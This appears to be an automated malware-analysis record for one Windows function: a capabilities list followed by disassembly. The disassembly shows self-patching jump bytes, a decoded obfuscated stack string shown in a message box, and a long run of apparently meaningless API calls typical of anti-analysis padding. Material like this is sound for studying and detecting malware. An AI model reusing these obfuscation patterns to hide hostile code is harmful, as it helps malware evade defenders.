Function at 0xa8a000
Capabilities:
Accept command line arguments
Clear file content
Connect pipe
Contain obfuscated stackstrings
Create pipe
Create thread
Delete registry key
Enumerate files on windows
Enumerate gui resources
Get common file path
Get file attributes
Get keyboard layout
Get session user name
Get thread local storage value
Query environment variable
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x10], 0xa8af98
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa8a036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa8a1aa
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa8a0b8
call fcn.00468bb2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8a07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa8a094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa8a094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8a04a
mov byte [ebp - 0x64], 3
mov byte [ebp - 0x63], 0x21
mov byte [ebp - 0x62], 4
mov byte [ebp - 0x61], 0x7a
mov byte [ebp - 0x60], 0
mov byte [ebp - 0x5f], 0x77
mov byte [ebp - 0x5e], 1
mov byte [ebp - 0x5d], 0x7c
mov byte [ebp - 0x5c], 8
mov byte [ebp - 0x5b], 0x7a
mov byte [ebp - 0x5a], 0x53
mov byte [ebp - 0x59], 0x5d
mov byte [ebp - 0x58], 0x70
mov byte [ebp - 0x57], 0xcd
mov byte [ebp - 0x56], 0x64
mov byte [ebp - 0x55], 0x46
mov byte [ebp - 0x54], 7
mov byte [ebp - 0x53], 0x6a
mov byte [ebp - 0x52], 8
mov byte [ebp - 0x51], 0x7b
mov byte [ebp - 0x50], 6
mov byte [ebp - 0x4f], 0x7b
mov byte [ebp - 0x4e], 9
mov byte [ebp - 0x4d], 0x78
mov byte [ebp - 0x4c], 5
mov byte [ebp - 0x4b], 0x7a
mov byte [ebp - 0x4a], 2
mov byte [ebp - 0x49], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa8a13a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1c
jae 0xa8a19f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa8a166
mov dword [ebp - 0x24], 8
mov eax, dword [ebp - 8]
add eax, 6
mov dword [ebp - 8], eax
jmp 0xa8a132
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x63]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa8a18e
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa8a17b
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x64]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa8a132
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa7fa3a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407ce3
mov ecx, eax
call fcn.00402b4b
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402aef
and dword [ebp - 0x1c], 0
jmp 0xa8a1e2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa8a1f2
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa8a1db
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x1be5
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0xed0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0x77e
push 0x1cd7
push 0x2bf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1005
push 0x1f1b
push 0x1af2
push 0x229
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0x381
push 0x9a1
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0x19be
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0xe07
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0xe4d
push 0x8f0
push 0x487
push 0x2058
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0xb09
push 0x1c03
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x843
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x2173
push 0x16fb
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0x168d
push 0x7a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
push 0xdea
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0
push 0
push 0
push 0x1e84
push 0x177f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0xf07
push 0x23ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0xa08
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0x460
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 1
push 0x2105
push 0xd1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x18b3
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0x2115
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
push 0
push 0x102b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0x76b
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 1
push 0x1589
push 0x2015
push 0x979
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0
push 0x15c0
push 0x19e5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0x26bc
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0x16f4
push 0x20fb
push 0x491
push 0x90c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0x1750
push 0x24d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0x10a5
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0x949
push 0x1ce2
push 0x18c
push 0x6c9
push 0x2276
push 0x25d3
push 0x810
push 0x4fd
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
push 0x5e6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0x198c
push 0xee5
push 0x85c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0
push 0x1d3e
push 0
push 0
push 0x7bf
push 0x145c
call dword [sym.imp.USER32.dll_ToAsciiEx]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0
push 1
push 0x1f79
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0xa69
push 0x5fd
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 0x15fb
push 0
push 0
push 0xc9e
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x114f
push 0x1518
push 0
push 0
push 0x10dd
push 0x64a
push 0xa53
push 0x21dd
push 0x13c8
push 0x2228
push 0x154
push 0x219d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x1d0b
push 0x1c5e
push 0xf7b
push 0x1396
push 0x787
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0x22c1
push 0x1c5e
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0x1402
push 0
push 0x37f
push 0xf75
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0x14b7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
push 0x929
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
push 0
push 0x24a5
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 0
push 0x1d79
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
call dword [sym.imp.USER32.dll_GetMessageTime]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0xffe
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0x6e2
push 0x5ff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
push 0xa41
push 0x1062
push 0
push 0x14c3
push 0xb07
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x837
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
push 0x166b
push 0x2406
push 0xb6e
call dword [sym.imp.KERNEL32.dll_RaiseException]